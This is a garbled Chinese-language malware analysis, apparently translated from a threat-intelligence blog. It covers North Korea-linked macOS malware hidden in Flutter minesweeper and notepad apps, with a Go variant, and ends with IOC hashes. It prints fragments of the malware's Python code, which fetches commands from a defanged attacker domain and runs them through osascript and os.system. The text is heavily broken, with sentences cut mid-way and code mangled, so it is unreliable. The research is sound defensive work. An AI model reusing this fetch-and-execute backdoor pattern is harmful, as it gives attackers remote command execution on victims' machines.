深入研究了恶意代码的工作原理#xff0c;以帮助保护…发现了一些恶意软件样本这些样本据信与朝鲜民主主义人民共和国

(DPRK)又称北朝鲜有关这些样本使用

的样本虽然显示出恶意意图但报告显示这些样本是干净的。

该恶意软件中的域名和技术与其他朝鲜恶意软件中使用的域名和技术非常相似有迹象表明该恶意软件曾被签名甚至暂时通过了

Apple

的公证程序。

目前尚不清楚该恶意软件是否已用于攻击任何目标或者攻击者是否正在准备一种新的交付方式。

变体、使用

开发的一款框架可简化跨平台应用程序的设计。

如果开发人员正在设计一款希望在

macOS、iOS

构建的应用程序具有独特的应用布局设计为代码提供了大量隐蔽性。

这是因为使用

Dart

文件中列为共享库。

虽然这个应用程序架构本身并没有什么恶意但它恰好在设计上提供了一种很好的混淆途径。

恶意软件

应用程序被认为是第一阶段的有效载荷。

我们最初确定了六个受感染的应用程序其中五个使用开发者帐户签名进行签名。

在我们发现时Apple

BALTIMORE

(2024-08-28).app(7cb8a9db65009f780d4384d5eaba7a7a5d7197c4)

Flutter

编程语言开发。

执行后受害者将看到一个功能齐全的扫雷游戏。

该游戏本身似乎是GitHub

flutter

设计的项目。

通过克隆项目并修改一些项目设置它可以轻松地编译为在

macOS

由于对应用程序进行了修改启动应用程序时会向该域发出网络请求。

这引起了我们的注意因为该域过去mbupdate[.]linkpc[.]net曾被朝鲜恶意软件使用过。

HTTPS

lt;/bodygt;lt;/htmlgt;正如预期的那样由于应用程序架构的原因编译后的

Dart

(2024-08-28).app/Contents/Frameworks/App.framework/Versions/A/App(a2cd8cf70629b5bb0ea62278be627e21645466a3)

App

path_provider_foundation.framework│

├──

shared_preferences_foundation.framework├──

Info.plist├──

Resources从下面的输出中我们可以看到快照相关符号例如和nm的存在表明应用程序的操作逻辑大量嵌入在预编译的

Dart

快照中这使得分析和反编译工作变得复杂。

_kDartVmSnapshotData_kDartIsolateSnapshotInstructions

仔细查看字符串我们可以快速确定一些支持的功能。

正如预期的那样我们在

dylib

中看到了域和用户代理字符串但字符串的存在osascript非常有趣因为它可能表示支持

AppleScript

....为了进行测试我们在本地测试环境中重定向了来自恶意域的流量并确认该恶意软件确实执行了有效

HTTP

(Protected).app(0b9b61d0fffd52e6c37df37dfdffefc0e121acf7)。

我们在

SentinelOne

的朋友最近发布了一篇博客文章介绍了一种使用完全相同文件名的感染媒介并将其归因于同一威胁行为者。

如上所述该变体之前已由

(bc6b446bad7d76909d84e7948c369996b38966d1)

user-agentHello发出

请求。

hXXps://mbupdate[.]linkpc[.]net/update.phpCustomUpdateUserAgent

GET

_os/exec.(*Cmd).CombinedOutput(0x2,

rsi,

标题为ee22e7768e0f4673ab954b2dd542256749502e97的应用程序包Runner.app是临时签名的并启动了一个功能齐全的记事本应用程序。

位于的启动脚本Runner.app/Contents/Resources/__boot__.py执行名为

(6f280413a40d41b8dc828250bbb8940b219940c5)

Python

请求hXXps://mbupdate[.]linkpc[.]net/update.php。

如果收到有效响应则将内容传递给该update()

def

python-update-request/1.10.1}response

requests.get(hXXps://mbupdate[.]linkpc[.]net/update.php,

headersheaders,

200:#print(response.text)self.update(response.text)self.__root.destroy()except:pass该update()方法使用osascriptAppleScript

执行服务器响应允许攻击者在受害者的系统上运行任意命令或有效负载。

def

{}.format(content)os.system(cmd)结论

本博客中发现的恶意软件显示出强烈的迹象表明它可能正在测试更大规模的武器化。

这一理论源于这样一个事实该行为者以从头到尾组织极具说服力的社会工程活动而闻名并且此处看到的文件名与

Flutter

构建的应用程序中向用户显示的内容不一致。

这可能是为了查看经过正确签名的应用程序恶意代码隐藏在

dylib

设备。

虽然这到底是真正的恶意软件还是一种将恶意软件武器化的新方法的测试仍未可知但我们仍会密切关注攻击者的进一步活动。

IOCs

6fa932f4eb5171affb7f82f88218cca13fb2bfdc

(Multisig

(Solana).appa12ad8d16da974e2c1e9cfe6011082baab2089a3

flutter

(2024-09-01).appeadfafb35db1611350903c7a76689739d24b9e5c

flutter

(EigenLayer).app7cb8a9db65009f780d4384d5eaba7a7a5d7197c4

flutter

(2024-08-28).app0b9b61d0fffd52e6c37df37dfdffefc0e121acf7

golang

(Protected).appee22e7768e0f4673ab954b2dd542256749502e97

(Runner

a2cd8cf70629b5bb0ea62278be627e21645466a3

(App

6664dfdbce1e6311ea02aa2827a866919a5659cc

(App

dd38d7097a3359dc0d1c999225286a2f651b154e

(minesweeper

9598e286142af837ee252de720aa550b3bea79ea

(minesweeper

90e0e88e5b180eb1663c2b2cfe9f307ed03a301b

(minesweeper

variant)710f84c42ba79de7eebb2021383105ae18c0c197

(minesweeper

5bf18435eb0dbb31e4056549f6ec880793f49a82

(minesweeper

2460c6ac4d55c34e3cc11c53f2e8c136682ac934

(minesweeper

variant)bc6b446bad7d76909d84e7948c369996b38966d1

(hello

4476788a3178d53297caffca8ea21ab95352fc56

(hello

3f51182029a2d4ed9c7cc886eb7666810904f9df

(hello

6f280413a40d41b8dc828250bbb8940b219940c5

(notepad_.py